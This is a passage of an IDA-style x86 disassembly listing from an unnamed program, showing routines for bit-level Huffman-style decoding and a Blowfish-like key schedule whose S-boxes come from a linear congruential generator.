mov eax, [ebp+arg_8]
mov [edx+ecx*4], eax
jmp short loc_48F19C
; ---------------------------------------------------------------------------
loc_48F159: ; CODE XREF: sub_48F125+17j
mov ecx, [ebp+arg_4]
shl ecx, 4
mov edx, [ebp+arg_0]
mov eax, [edx+ecx+418h]
shl eax, 4
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_8]
mov [ecx+eax+410h], edx
mov eax, [ebp+arg_4]
shl eax, 4
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax+418h]
add edx, 1
shl edx, 4
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_8]
mov [eax+edx+410h], ecx
loc_48F19C: ; CODE XREF: sub_48F125+32j
mov edx, [ebp+arg_8]
shl edx, 4
mov eax, [ebp+arg_0]
cmp dword ptr [eax+edx+414h], 0
jz short loc_48F1CA
mov ecx, [ebp+arg_8]
shl ecx, 4
mov edx, [ebp+arg_0]
mov eax, [edx+ecx+418h]
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_4]
mov [ecx+eax*4], edx
jmp short loc_48F20D
; ---------------------------------------------------------------------------
loc_48F1CA: ; CODE XREF: sub_48F125+88j
mov eax, [ebp+arg_8]
shl eax, 4
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax+418h]
shl edx, 4
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_4]
mov [eax+edx+410h], ecx
mov edx, [ebp+arg_8]
shl edx, 4
mov eax, [ebp+arg_0]
mov ecx, [eax+edx+418h]
add ecx, 1
shl ecx, 4
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_4]
mov [edx+ecx+410h], eax
loc_48F20D: ; CODE XREF: sub_48F125+A3j
mov ecx, [ebp+arg_4]
shl ecx, 4
mov edx, [ebp+arg_0]
lea eax, [edx+ecx+40Ch]
mov ecx, [eax]
mov [ebp+var_10], ecx
mov edx, [eax+4]
mov [ebp+var_C], edx
mov ecx, [eax+8]
mov [ebp+var_8], ecx
mov edx, [eax+0Ch]
mov [ebp+var_4], edx
mov eax, [ebp+arg_8]
shl eax, 4
mov ecx, [ebp+arg_0]
lea edx, [ecx+eax+40Ch]
mov eax, [ebp+arg_4]
shl eax, 4
mov ecx, [ebp+arg_0]
lea eax, [ecx+eax+40Ch]
mov ecx, [edx]
mov [eax], ecx
mov ecx, [edx+4]
mov [eax+4], ecx
mov ecx, [edx+8]
mov [eax+8], ecx
mov edx, [edx+0Ch]
mov [eax+0Ch], edx
mov eax, [ebp+arg_4]
shl eax, 4
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+eax+410h], edx
mov eax, [ebp+arg_8]
shl eax, 4
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax+410h]
mov [ebp+var_C], edx
mov eax, [ebp+arg_8]
shl eax, 4
mov ecx, [ebp+arg_0]
lea edx, [ecx+eax+40Ch]
mov eax, [ebp+var_10]
mov [edx], eax
mov ecx, [ebp+var_C]
mov [edx+4], ecx
mov eax, [ebp+var_8]
mov [edx+8], eax
mov ecx, [ebp+var_4]
mov [edx+0Ch], ecx
mov esp, ebp
pop ebp
retn
sub_48F125 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_48F2BB proc near ; CODE XREF: sub_48ED1D+AAp
; sub_48F4D9+E0p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
mov ecx, [eax+408h]
sub ecx, 1
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+408h]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+408h]
add edx, 1
mov [ebp+var_C], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+408h]
add ecx, 2
mov edx, [ebp+arg_0]
mov [edx+408h], ecx
mov eax, [ebp+var_8]
shl eax, 4
mov ecx, [ebp+arg_0]
lea edx, [ecx+eax+40Ch]
mov eax, [ebp+var_4]
shl eax, 4
mov ecx, [ebp+arg_0]
lea eax, [ecx+eax+40Ch]
mov ecx, [edx]
mov [eax], ecx
mov ecx, [edx+4]
mov [eax+4], ecx
mov ecx, [edx+8]
mov [eax+8], ecx
mov edx, [edx+0Ch]
mov [eax+0Ch], edx
mov eax, [ebp+var_4]
shl eax, 4
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
mov [ecx+eax+410h], edx
mov eax, [ebp+var_4]
shl eax, 4
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax+418h]
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_4]
mov [eax+edx*4], ecx
mov edx, [ebp+var_8]
shl edx, 4
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_4]
mov [eax+edx+418h], ecx
mov edx, [ebp+var_8]
shl edx, 4
mov eax, [ebp+arg_0]
mov dword ptr [eax+edx+414h], 0
mov ecx, [ebp+var_C]
shl ecx, 4
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_4]
mov [edx+ecx+418h], eax
mov ecx, [ebp+var_C]
shl ecx, 4
mov edx, [ebp+arg_0]
mov dword ptr [edx+ecx+414h], 1
mov eax, [ebp+var_C]
shl eax, 4
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+eax+40Ch], 0
mov edx, [ebp+var_C]
shl edx, 4
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
mov [eax+edx+410h], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_C]
mov [eax+edx*4], ecx
mov esp, ebp
pop ebp
retn
sub_48F2BB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_48F3E7 proc near ; CODE XREF: .text:0048D52Bp
var_18 = byte ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 18h
mov byte_4F36B8, 0
push 0
mov eax, [ebp+arg_8]
mov ecx, [eax]
push ecx
mov edx, [ebp+arg_0]
push edx
lea ecx, [ebp+var_18]
call sub_48F5D0
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_4]
push ecx
lea edx, [ebp+var_18]
push edx
call sub_48F434
add esp, 0Ch
mov ecx, [ebp+arg_8]
mov [ecx], eax
xor edx, edx
mov dl, byte_4F36B8
mov eax, edx
neg eax
sbb eax, eax
inc eax
mov esp, ebp
pop ebp
retn
sub_48F3E7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_48F434 proc near ; CODE XREF: sub_48F3E7+2Dp
var_2448 = dword ptr -2448h
var_2444 = dword ptr -2444h
var_2440 = byte ptr -2440h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 2448h
call __alloca_probe_0
mov eax, [ebp+arg_4]
mov [ebp+var_2444], eax
mov ecx, [ebp+var_2444]
add ecx, [ebp+arg_8]
mov [ebp+var_4], ecx
lea edx, [ebp+var_2440]
push edx
call sub_48EC28
add esp, 4
loc_48F465: ; CODE XREF: sub_48F434+96j
mov eax, [ebp+var_2444]
cmp eax, [ebp+var_4]
jnb short loc_48F4CC
mov ecx, [ebp+arg_0]
push ecx
lea edx, [ebp+var_2440]
push edx
call sub_48F4D9
add esp, 8
mov [ebp+var_2448], eax
cmp [ebp+var_2448], 100h
jnz short loc_48F497
jmp short loc_48F4CC
; ---------------------------------------------------------------------------
loc_48F497: ; CODE XREF: sub_48F434+5Fj
mov eax, [ebp+var_2444]
mov cl, byte ptr [ebp+var_2448]
mov [eax], cl
mov edx, [ebp+var_2444]
add edx, 1
mov [ebp+var_2444], edx
mov eax, [ebp+var_2448]
push eax
lea ecx, [ebp+var_2440]
push ecx
call sub_48EDD3
add esp, 8
jmp short loc_48F465
; ---------------------------------------------------------------------------
loc_48F4CC: ; CODE XREF: sub_48F434+3Aj
; sub_48F434+61j
mov eax, [ebp+var_2444]
sub eax, [ebp+arg_4]
mov esp, ebp
pop ebp
retn
sub_48F434 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_48F4D9 proc near ; CODE XREF: sub_48F434+47p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_8], 0
loc_48F4E6: ; CODE XREF: sub_48F4D9+AAj
mov eax, [ebp+var_8]
shl eax, 4
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+eax+414h], 0
jnz loc_48F588
mov edx, [ebp+var_8]
shl edx, 4
mov eax, [ebp+arg_0]
mov ecx, [eax+edx+418h]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_4]
mov eax, [edx+0Ch]
xor ecx, ecx
mov cl, [eax]
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx+14h]
and ecx, eax
neg ecx
sbb ecx, ecx
neg ecx
mov byte ptr [ebp+var_C], cl
mov ecx, [ebp+arg_4]
mov dl, [ecx+14h]
shr dl, 1
mov eax, [ebp+arg_4]
mov [eax+14h], dl
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx+14h]
test edx, edx
jnz short loc_48F572
mov eax, [ebp+arg_4]
mov ecx, [eax+0Ch]
add ecx, 1
mov edx, [ebp+arg_4]
mov [edx+0Ch], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_4]
mov edx, [eax+0Ch]
cmp edx, [ecx+10h]
jb short loc_48F56B
mov eax, [ebp+arg_4]
mov byte ptr [eax+15h], 1
loc_48F56B: ; CODE XREF: sub_48F4D9+89j
mov ecx, [ebp+arg_4]
mov byte ptr [ecx+14h], 80h
loc_48F572: ; CODE XREF: sub_48F4D9+6Cj
mov edx, [ebp+var_C]
and edx, 0FFh
mov eax, [ebp+var_8]
add eax, edx
mov [ebp+var_8], eax
jmp loc_48F4E6
; ---------------------------------------------------------------------------
loc_48F588: ; CODE XREF: sub_48F4D9+1Ej
mov ecx, [ebp+var_8]
shl ecx, 4
mov edx, [ebp+arg_0]
mov eax, [edx+ecx+418h]
mov [ebp+var_4], eax
cmp [ebp+var_4], 101h
jnz short loc_48F5C1
push 8
mov ecx, [ebp+arg_4]
call sub_48F67C
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_48F2BB
add esp, 8
loc_48F5C1: ; CODE XREF: sub_48F4D9+C9j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_48F4D9 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_48F5D0 proc near ; CODE XREF: sub_48EAE0+1Bp
; sub_48F3E7+1Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov cl, [ebp+arg_8]
mov [eax+16h], cl
mov edx, [ebp+var_4]
mov eax, [ebp+arg_0]
mov [edx+0Ch], eax
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
mov [ecx+8], edx
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax+16h]
test ecx, ecx
jz short loc_48F607
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
mov byte ptr [eax], 0
loc_48F607: ; CODE XREF: sub_48F5D0+2Cj
mov ecx, [ebp+var_4]
mov edx, [ecx+8]
add edx, [ebp+arg_4]
mov eax, [ebp+var_4]
mov [eax+10h], edx
mov ecx, [ebp+var_4]
mov byte ptr [ecx+15h], 0
mov edx, [ebp+var_4]
mov byte ptr [edx+14h], 80h
mov eax, [ebp+var_4]
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
mov [eax], edx
mov eax, [ebp+var_4]
mov ecx, [ebp+var_4]
mov dl, [ecx+14h]
mov [eax+4], dl
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 0Ch
sub_48F5D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_48F644 proc near ; CODE XREF: sub_48EAE0+48p
; sub_48EAE0+57p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], ecx
mov [ebp+var_4], 0
loc_48F654: ; CODE XREF: sub_48F644+2Dj
mov eax, [ebp+arg_0]
and eax, 0FFh
test eax, eax
jz short loc_48F673
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov dl, byte ptr [ebp+arg_0]
shr dl, 1
mov byte ptr [ebp+arg_0], dl
jmp short loc_48F654
; ---------------------------------------------------------------------------
loc_48F673: ; CODE XREF: sub_48F644+1Aj
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_48F644 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_48F67C proc near ; CODE XREF: sub_48F4D9+D0p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
mov [ebp+var_10], ecx
mov [ebp+var_4], 0
mov ecx, [ebp+arg_0]
sub ecx, 1
mov eax, 1
shl eax, cl
mov [ebp+var_8], eax
loc_48F69C: ; CODE XREF: sub_48F67C+AAj
cmp [ebp+var_8], 0
jz loc_48F72B
mov ecx, [ebp+var_10]
mov edx, [ecx+0Ch]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+var_10]
xor edx, edx
mov dl, [ecx+14h]
and eax, edx
neg eax
sbb eax, eax
neg eax
mov byte ptr [ebp+var_C], al
mov eax, [ebp+var_10]
mov cl, [eax+14h]
shr cl, 1
mov edx, [ebp+var_10]
mov [edx+14h], cl
mov eax, [ebp+var_10]
xor ecx, ecx
mov cl, [eax+14h]
test ecx, ecx
jnz short loc_48F708
mov edx, [ebp+var_10]
mov eax, [edx+0Ch]
add eax, 1
mov ecx, [ebp+var_10]
mov [ecx+0Ch], eax
mov edx, [ebp+var_10]
mov eax, [ebp+var_10]
mov ecx, [edx+0Ch]
cmp ecx, [eax+10h]
jb short loc_48F701
mov edx, [ebp+var_10]
mov byte ptr [edx+15h], 1
loc_48F701: ; CODE XREF: sub_48F67C+7Cj
mov eax, [ebp+var_10]
mov byte ptr [eax+14h], 80h
loc_48F708: ; CODE XREF: sub_48F67C+5Fj
mov ecx, [ebp+var_C]
and ecx, 0FFh
test ecx, ecx
jz short loc_48F71E
mov edx, [ebp+var_4]
or edx, [ebp+var_8]
mov [ebp+var_4], edx
loc_48F71E: ; CODE XREF: sub_48F67C+97j
mov eax, [ebp+var_8]
shr eax, 1
mov [ebp+var_8], eax
jmp loc_48F69C
; ---------------------------------------------------------------------------
loc_48F72B: ; CODE XREF: sub_48F67C+24j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_48F67C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_48F734 proc near ; CODE XREF: sub_48ED1D+83p
; sub_48ED1D+9Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], ecx
mov ecx, [ebp+arg_4]
sub ecx, 1
mov eax, 1
shl eax, cl
mov [ebp+var_4], eax
loc_48F74D: ; CODE XREF: sub_48F734+A7j
cmp [ebp+var_4], 0
jz loc_48F7E0
mov ecx, [ebp+arg_0]
and ecx, [ebp+var_4]
neg ecx
sbb ecx, ecx
neg ecx
and ecx, 0FFh
test ecx, ecx
jz short loc_48F783
mov edx, [ebp+var_8]
mov eax, [edx+0Ch]
mov ecx, [ebp+var_8]
mov dl, [eax]
or dl, [ecx+14h]
mov eax, [ebp+var_8]
mov ecx, [eax+0Ch]
mov [ecx], dl
loc_48F783: ; CODE XREF: sub_48F734+37j
mov edx, [ebp+var_8]
mov al, [edx+14h]
shr al, 1
mov ecx, [ebp+var_8]
mov [ecx+14h], al
mov edx, [ebp+var_8]
xor eax, eax
mov al, [edx+14h]
test eax, eax
jnz short loc_48F7D3
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
add edx, 1
mov eax, [ebp+var_8]
mov [eax+0Ch], edx
mov ecx, [ebp+var_8]
mov edx, [ebp+var_8]
mov eax, [ecx+0Ch]
cmp eax, [edx+10h]
jb short loc_48F7C3
mov ecx, [ebp+var_8]
mov byte ptr [ecx+15h], 1
jmp short loc_48F7CC
; ---------------------------------------------------------------------------
loc_48F7C3: ; CODE XREF: sub_48F734+84j
mov edx, [ebp+var_8]
mov eax, [edx+0Ch]
mov byte ptr [eax], 0
loc_48F7CC: ; CODE XREF: sub_48F734+8Dj
mov ecx, [ebp+var_8]
mov byte ptr [ecx+14h], 80h
loc_48F7D3: ; CODE XREF: sub_48F734+67j
mov edx, [ebp+var_4]
shr edx, 1
mov [ebp+var_4], edx
jmp loc_48F74D
; ---------------------------------------------------------------------------
loc_48F7E0: ; CODE XREF: sub_48F734+1Dj
mov esp, ebp
pop ebp
retn 8
sub_48F734 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_48F7F0 proc near ; DATA XREF: sub_4B45FB+181o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push 1048h
call sub_4C85E1
add esp, 4
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
push ecx
call sub_48F82B
add esp, 10h
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_48F7F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_48F82B proc near ; CODE XREF: sub_48F7F0+2Cp
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0C4h
push esi
mov [ebp+var_58], 243F6A88h
mov [ebp+var_54], 85A308D3h
mov [ebp+var_50], 13198A2Eh
mov [ebp+var_4C], 3707344h
mov [ebp+var_48], 0A4093822h
mov [ebp+var_44], 299F31D0h
mov [ebp+var_40], 82EFA98h
mov [ebp+var_3C], 0EC4E6C89h
mov [ebp+var_38], 452821E6h
mov [ebp+var_34], 38D01377h
mov [ebp+var_30], 0BE5466CFh
mov [ebp+var_2C], 34E90C6Ch
mov [ebp+var_28], 0C0AC29B7h
mov [ebp+var_24], 0C97C50DDh
mov [ebp+var_20], 3F84D5B5h
mov [ebp+var_1C], 0B5470917h
mov [ebp+var_18], 9216D5D9h
mov [ebp+var_14], 8979FB1Bh
mov [ebp+var_10], 0
jmp short loc_48F8C5
; ---------------------------------------------------------------------------
loc_48F8BC: ; CODE XREF: sub_48F82B+B4j
mov eax, [ebp+var_10]
add eax, 1
mov [ebp+var_10], eax
loc_48F8C5: ; CODE XREF: sub_48F82B+8Fj
cmp [ebp+var_10], 12h
jge short loc_48F8E1
mov ecx, [ebp+var_10]
mov edx, [ebp+arg_0]
mov eax, [ebp+var_10]
mov eax, [ebp+eax*4+var_58]
mov [edx+ecx*4+1000h], eax
jmp short loc_48F8BC
; ---------------------------------------------------------------------------
loc_48F8E1: ; CODE XREF: sub_48F82B+9Ej
mov ecx, [ebp+arg_C]
mov [ebp+var_8], ecx
mov [ebp+var_10], 0
jmp short loc_48F8F9
; ---------------------------------------------------------------------------
loc_48F8F0: ; CODE XREF: sub_48F82B:loc_48FC69j
mov edx, [ebp+var_10]
add edx, 1
mov [ebp+var_10], edx
loc_48F8F9: ; CODE XREF: sub_48F82B+C3j
cmp [ebp+var_10], 4
jge loc_48FC6E
mov [ebp+var_5C], 0
jmp short loc_48F915
; ---------------------------------------------------------------------------
loc_48F90C: ; CODE XREF: sub_48F82B+439j
mov eax, [ebp+var_5C]
add eax, 1
mov [ebp+var_5C], eax
loc_48F915: ; CODE XREF: sub_48F82B+DFj
cmp [ebp+var_5C], 100h
jge loc_48FC69
mov [ebp+var_88], 100h
mov eax, [ebp+var_8]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp+var_7C], eax
mov eax, [ebp+var_8]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp+var_78], edx
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp+var_84], eax
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp+var_80], edx
mov ecx, [ebp+var_78]
imul ecx, [ebp+var_80]
mov edx, [ebp+var_7C]
imul edx, [ebp+var_80]
mov eax, [ebp+var_78]
imul eax, [ebp+var_84]
add eax, edx
xor edx, edx
mov esi, 2710h
div esi
mov eax, edx
imul eax, 2710h
add eax, ecx
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov [ebp+var_8], edx
mov eax, [ebp+var_8]
xor edx, edx
mov ecx, 2710h
div ecx
imul eax, [ebp+var_88]
xor edx, edx
mov ecx, 2710h
div ecx
and eax, 0FFh
mov [ebp+var_74], eax
mov [ebp+var_9C], 100h
mov eax, [ebp+var_8]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp+var_90], eax
mov eax, [ebp+var_8]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp+var_8C], edx
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp+var_98], eax
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp+var_94], edx
mov ecx, [ebp+var_8C]
imul ecx, [ebp+var_94]
mov edx, [ebp+var_90]
imul edx, [ebp+var_94]
mov eax, [ebp+var_8C]
imul eax, [ebp+var_98]
add eax, edx
xor edx, edx
mov esi, 2710h
div esi
mov eax, edx
imul eax, 2710h
add eax, ecx
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov [ebp+var_8], edx
mov eax, [ebp+var_8]
xor edx, edx
mov ecx, 2710h
div ecx
imul eax, [ebp+var_9C]
xor edx, edx
mov ecx, 2710h
div ecx
and eax, 0FFh
mov [ebp+var_68], eax
mov [ebp+var_B0], 100h
mov eax, [ebp+var_8]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp+var_A4], eax
mov eax, [ebp+var_8]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp+var_A0], edx
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp+var_AC], eax
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp+var_A8], edx
mov ecx, [ebp+var_A0]
imul ecx, [ebp+var_A8]
mov edx, [ebp+var_A4]
imul edx, [ebp+var_A8]
mov eax, [ebp+var_A0]
imul eax, [ebp+var_AC]
add eax, edx
xor edx, edx
mov esi, 2710h
div esi
mov eax, edx
imul eax, 2710h
add eax, ecx
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov [ebp+var_8], edx
mov eax, [ebp+var_8]
xor edx, edx
mov ecx, 2710h
div ecx
imul eax, [ebp+var_B0]
xor edx, edx
mov ecx, 2710h
div ecx
and eax, 0FFh
mov [ebp+var_6C], eax
mov [ebp+var_C4], 100h
mov eax, [ebp+var_8]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp+var_B8], eax
mov eax, [ebp+var_8]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp+var_B4], edx
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp+var_C0], eax
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp+var_BC], edx
mov ecx, [ebp+var_B4]
imul ecx, [ebp+var_BC]
mov edx, [ebp+var_B8]
imul edx, [ebp+var_BC]
mov eax, [ebp+var_B4]
imul eax, [ebp+var_C0]
add eax, edx
xor edx, edx
mov esi, 2710h
div esi
mov eax, edx
imul eax, 2710h
add eax, ecx
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov [ebp+var_8], edx
mov eax, [ebp+var_8]
xor edx, edx
mov ecx, 2710h
div ecx
imul eax, [ebp+var_C4]
xor edx, edx
mov ecx, 2710h
div ecx
and eax, 0FFh
mov [ebp+var_70], eax
mov edx, [ebp+var_10]
shl edx, 0Ah
mov eax, [ebp+arg_0]
add eax, edx
mov ecx, [ebp+var_6C]
shl ecx, 8
mov edx, [ebp+var_68]
shl edx, 10h
mov esi, [ebp+var_74]
shl esi, 18h
or esi, edx
or esi, ecx
or esi, [ebp+var_70]
mov ecx, [ebp+var_5C]
mov [eax+ecx*4], esi
jmp loc_48F90C
; ---------------------------------------------------------------------------
loc_48FC69: ; CODE XREF: sub_48F82B+F1j
jmp loc_48F8F0
; ---------------------------------------------------------------------------
loc_48FC6E: ; CODE XREF: sub_48F82B+D2j
mov [ebp+var_10], 0
mov [ebp+var_5C], 0
jmp short loc_48FC87
; ---------------------------------------------------------------------------
loc_48FC7E: ; CODE XREF: sub_48F82B+4CCj
mov edx, [ebp+var_10]
add edx, 1
mov [ebp+var_10], edx
loc_48FC87: ; CODE XREF: sub_48F82B+451j
cmp [ebp+var_10], 12h
jge short loc_48FCF9
mov [ebp+var_64], 0
mov [ebp+var_60], 0
jmp short loc_48FCA6
; ---------------------------------------------------------------------------
loc_48FC9D: ; CODE XREF: sub_48F82B:loc_48FCD8j
mov eax, [ebp+var_60]
add eax, 1
mov [ebp+var_60], eax
loc_48FCA6: ; CODE XREF: sub_48F82B+470j
cmp [ebp+var_60], 4
jge short loc_48FCDA
mov ecx, [ebp+var_64]
shl ecx, 8
mov edx, [ebp+arg_4]
add edx, [ebp+var_5C]
movsx eax, byte ptr [edx]
or ecx, eax
mov [ebp+var_64], ecx
mov ecx, [ebp+var_5C]
add ecx, 1
mov [ebp+var_5C], ecx
mov edx, [ebp+var_5C]
cmp edx, [ebp+arg_8]
jl short loc_48FCD8
mov [ebp+var_5C], 0
loc_48FCD8: ; CODE XREF: sub_48F82B+4A4j
jmp short loc_48FC9D
; ---------------------------------------------------------------------------
loc_48FCDA: ; CODE XREF: sub_48F82B+47Fj
mov eax, [ebp+var_10]
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax*4+1000h]
xor edx, [ebp+var_64]
mov eax, [ebp+var_10]
mov ecx, [ebp+arg_0]
mov [ecx+eax*4+1000h], edx
jmp short loc_48FC7E
; ---------------------------------------------------------------------------
loc_48FCF9: ; CODE XREF: sub_48F82B+460j
mov [ebp+var_4], 0
mov [ebp+var_C], 0
mov [ebp+var_10], 0
jmp short loc_48FD19
; ---------------------------------------------------------------------------
loc_48FD10: ; CODE XREF: sub_48F82B+528j
mov edx, [ebp+var_10]
add edx, 2
mov [ebp+var_10], edx
loc_48FD19: ; CODE XREF: sub_48F82B+4E3j
cmp [ebp+var_10], 12h
jge short loc_48FD55
lea eax, [ebp+var_C]
push eax
lea ecx, [ebp+var_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_48FDCE
add esp, 0Ch
mov eax, [ebp+var_10]
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_4]
mov [ecx+eax*4+1000h], edx
mov eax, [ebp+var_10]
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+eax*4+1004h], edx
jmp short loc_48FD10
; ---------------------------------------------------------------------------
loc_48FD55: ; CODE XREF: sub_48F82B+4F2j
mov [ebp+var_10], 0
jmp short loc_48FD67
; ---------------------------------------------------------------------------
loc_48FD5E: ; CODE XREF: sub_48F82B:loc_48FDC7j
